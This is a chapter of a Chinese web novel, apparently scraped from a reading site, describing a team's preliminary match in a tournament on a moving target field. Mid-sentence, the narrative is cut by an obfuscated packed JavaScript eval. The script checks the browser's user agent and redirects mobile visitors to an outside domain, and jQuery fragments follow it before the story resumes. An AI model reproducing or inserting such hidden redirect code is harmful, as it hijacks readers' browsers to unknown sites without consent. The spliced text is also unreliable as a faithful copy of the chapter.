17.初赛

作品:《白的末路

    整个明之试炼统共由两场比赛构成。


    在试炼开始前,每个参赛者,都领到了一套专门用来赛时的比赛服。


    与寻常的训练服不同,赛服整体呈黑色,厚实却不沉重,可以将人整个包裹起来。据说上面的每根丝线都曾接受过来自神行使的祝福,是十分珍贵的衣服。


    白末在飘窗前立定。


    一望无际的原野已是绿意一片,盛夏的阳光火辣暴烈,如果不是赛服的遮挡,那光亮简直能穿透她。


    她将垂至腰间的黑发用一只黑色的发带认真束起,确认没有问题后,推开门朝着石梯口跑去。


    那边,苏形芝和巴须已经整装待发,只等着她了。


    “我来了。”白末对着他们打了个招呼。


    苏形芝双手置于身前,笑着看着她。


    红色的丝带随着她的动作在她身后轻轻晃动,如同一只翩翩飞舞的蝴蝶。


    “状态不错!走吧,正好比试也要开始了。”


    ……


    明之试炼的第一场比赛,正式拉开了序幕。


    初赛同“失控的靶台”类似,不过先前他们是一个小队使用一个靶台,而比赛里则是五十只小队在同一个靶台上展开竞争。


    规则上也做了些许变动:原本处于中心位置的中心靶隐藏在四处,且在外表上也会更具迷惑性。


    他们所要做的,就是在波浪起伏的靶台上寻找到仅存的十只中心靶。


    这个过程中,可以对其余小队的成员作出攻击,一旦攻击成功命中,对方的赛服上的受击部位将自动显现出刺眼的白色印迹。


    有印迹者,被视为死亡,会立刻被淘汰。


    而队伍里仍“存活”的成员,则可以代表小队继续进行比赛。


    在十只中心靶全部被折断后,靶台将自动停止运动。


    同时,也将决出最后的获胜者。


    关若飞已经报名了个人赛,在久违的清净中,白末问道。


    “安鸷会来参加吗?”


    苏形芝犹豫了一下,“大概会来吧。”她偏头看向巴须,“你这阵子有见过安鸷吗?”


    巴须的住所离安鸷并不远,都在第三十八层。


    巴须晃了晃头。


    三人犹豫着交换了一下眼神,目光里满是担忧。


    已经到了比赛场地外。


    一个身影懒洋洋地靠在外侧的墙上,昔日手心丑恶的伤口已荡然无存,只留下极浅的蜈蚣样的疤痕。他脖颈向前突着,用手接了个哈欠。


    随着三人的逼近,安鸷若有所感地朝这边扫了一眼,又快速收回视线。


    苏形芝睁大了眼睛,快速用手揉了揉。


    “我没看错吧?那是安鸷?”


    巴须也“哇”了一声,薄薄的嘴唇张了又张,满是不可置信。


    他们都已经做好各自参加单人赛的准备了。


    “还站着?不是要比赛?”安鸷走过来,不耐烦地开口。


    三人怔怔地随他一同走到登记处,在检查赛服穿戴无误后,训导师递过来四个数字牌,上面写着“32”,这代表他们是第三十二个进行登记的小队。


    随后便朝他们做了个手势,“里面请。”


    等待室内已经聚集了不少小队。


    安鸷一进门,便自顾自地朝着一角走去。


    苏形芝下意识地想要着他走,心念一动,收回了探出的脚步,无助地望向余下二人。


    白末摇摇头。


    安鸷的表现很明显,他并不想和他们靠的太近。


    但他肯来参加比赛,已经很出乎意料了。


    她朝四周望了望,等待室几乎已经挤满了人。


    有人贴墙静立,有人闭目休息,有人嘴巴不住的开合,像是在默念什么,还有人在不停地四处打量着,在心里暗暗评估对手的实力。


    没过多久,五十只队伍便全部到齐了。


    在训导师的引导下,他们朝着内里的比赛场地涌入。


    按照规定,每只小队都站定在靶台的最边缘。


    在宣告比赛开始的嗡嗡声响起的同时,圆靶与人群同时开始移动,如同翻滚起滔天海浪!


    却有一个人一动也不动。


    白末跳躲开一个袭击把,用余光扫向安鸷——他直直站在原地,只偶尔挥起长剑来切断距离他最近的圆靶,还时不时地打上一个哈欠。


    看来他是不打算参与到这场比赛里了。


    三人交换了一个眼神,按照平时训练时各自擅长的方面,快速地拟定好了作战的方案。


    每只小队都拥有两个目标——


    一、淘汰别人;二、找到并折断中心靶。


    三人中,巴须的身形最为灵活,但他所持的大锤更适合放在阻拦袭击靶与他人的袭击上,所以他一直都充当护卫。


    苏形芝的长鞭击打范围大,准度却欠佳,但在折断中心靶这件事上,她的勾扯十分有效。


    因此是猎杀者。


    而白末的匕首给予了她更强的机动性,她在各个方面上表现都很优秀,但体力耐久度不够,属于爆发性选手,因此充当团队当中的辅助者——


    在猎杀者幸存的时候,她便是猎杀者手中进攻的矛;一旦猎杀者倒下,她便是新的猎杀者。


    比赛一开始,就有人瞄上了他们。


    巴须猛然冲到苏形芝身前,所持的双锤交叠,将敌人袭来的武器牢牢地卡住,一下子逼得他进退不得。


    那人明显没想到巴须的大锤还能有这种作用,他慌慌张张地想抽出自己的器。


    注意力一分散,竟是忽视了防御,毫无防备的侧身被白末一刀刺去。


    由于有赛服的阻挡,这一刀并没有刺进身体里,但力度显然已灌进体内。


    那人痛哼一声,被刺中的部位顿时绽开大片刺眼的白色印迹。


    开局不到一分钟,第一个敌人,已处理掉。


    不远处,安鸷撩起眼皮朝这里看来。


    他嗤笑一声,手中长剑挥舞,随手把一个自侧方袭来的拿他当软柿子的人击倒在地。


    ……


    苏形芝作为团队的眼,目不转睛地注视着层出不穷的中心靶。


    与寻常的靶台所不同的是,初赛上的中心靶会刻意隐藏起来。


    它们就像是象棋中的国王与王后,无数的将卒为它们冲锋陷阵,吞吃着敌手。


    但并不用担心“王”会一直隐藏下去,真正高明的“王”,最擅长把自己当作诱饵出现。


    东北方大约三十米的位置,一只红靶悄无声息地翻转上来,在波浪滔滔的海洋中,它如同沉底的鹅卵石。


    一动不动。


    苏形芝屏住呼吸,朝着那边走去,白末二人紧随其旁,忠实地履行着自己的职责。


    二十五米……


    二十米……


    在还有十五米的时候,无数圆靶自地底倏然浮


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15531995|170079||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    现!目标近在眼前,苏形芝匆匆向上跳跃,她持着长鞭,踩着摇晃的靶顶奔跑起来。


    白末在心中暗道不好,由于圆靶的速度过快,苏形芝上一秒才踩过的圆靶,在下一秒就会消失不见,使他们无法复刻着苏形芝的路线前进。


    不过几秒时间,三人的身形距离已越来越远。


    苏形芝显然也意识到了不对,她刻意放缓了前进的速度,以此保证白末和巴须能不被甩下更远距离。


    但很明显,并不是只有他们看到了这只中心靶!


    这只狡猾的中心靶,让自己成为草原上唯一娇艳绽放的毒花,它上下大幅度地摆动着,企图吸引更多的注意力——


    它是成功的,已经有好几支队伍朝这里奔来。


    形势顿时复杂起来。


    苏形芝处于距离中心靶最近的位置,但其余队伍人多势众,在进攻上,他们并不占优势。


    白末咬住下唇,飞快解决了身前扑来的圆靶,朝着苏形芝快速行去——


    其余队伍都成团行动,这种形势下,孤身成点的苏形芝很容易成为受打击的目标。


    果不其然,来自不同队伍的两个人,已径直朝着苏形芝前去!


    啪——


    苏形芝的鞭子将一人击倒在地,那人却在落地前不顾一切地用手中的细剑卷住苏形芝的长鞭。


    行动受到限制,苏形芝只能凭借着听觉躲避开来自侧后方的袭击!


    眼前的圆靶一闪,一人挡在白末面前。


    并没有多余的动作,那人挥舞起手中的细鞭。


    虽然与苏形芝是同样类型的武器,但她的鞭子明显要比苏形芝的长鞭短上一大截,体节上也要更加细一些。


    她旋起鞭子时,整个鞭子便在她身边化作一道斜圈,随着持有者手腕的转动而变幻着轨迹,最终形成以持有者为圆心的利盾。


    她应该主要侧重在防御。


    但在这样狭小的空间里,这样的“防御”便带上了极强的攻击力。


    白末手腕一扭,以掌心抵着匕首。


    她几乎看不清对方的器,但是——


    没关系。


    她一个箭步,纵身上前。


    对方显然没有料到她会选择直直地冲过来,眼神里满是惊愕,下意识朝后退了半步。


    就是这半步。


    白末的嘴角带上微笑。


    在接触到对方“利盾”的瞬间,她将器上的力全部卸下,然后借着对方右旋的力,朝左前方纵深一跃,把自己“甩”了过去。


    脱战的同时,完成了一场巧妙的卸力。


    而在她飞离的瞬间,她给后面的巴须递了个眼色——


    在对手慌乱的刹那,一直紧随其后的巴须,将全部力量集中在双锤上,朝前撞去。


    对方带着一脸不可思议的表情,轰然倒下。


    “自大。”白末对着衣服上绽开大片白花的女孩说道。


    她太高估自己的器在这种情景下的力量,一旦敌人的动作稍不合常理,便会立刻慌张起来。


    她是在防御上更具优势,但是——


    跟专攻防御的重锤相比,还是太小巫见大巫了。


    又击败一个对手后,三人成功再次汇聚。


    场地中央的中心靶依然在拼命晃动着,企图吸引来更多的人群。


    此时的赛场上,尚存活三十二支队伍。


    十只中心靶,已被折断四根。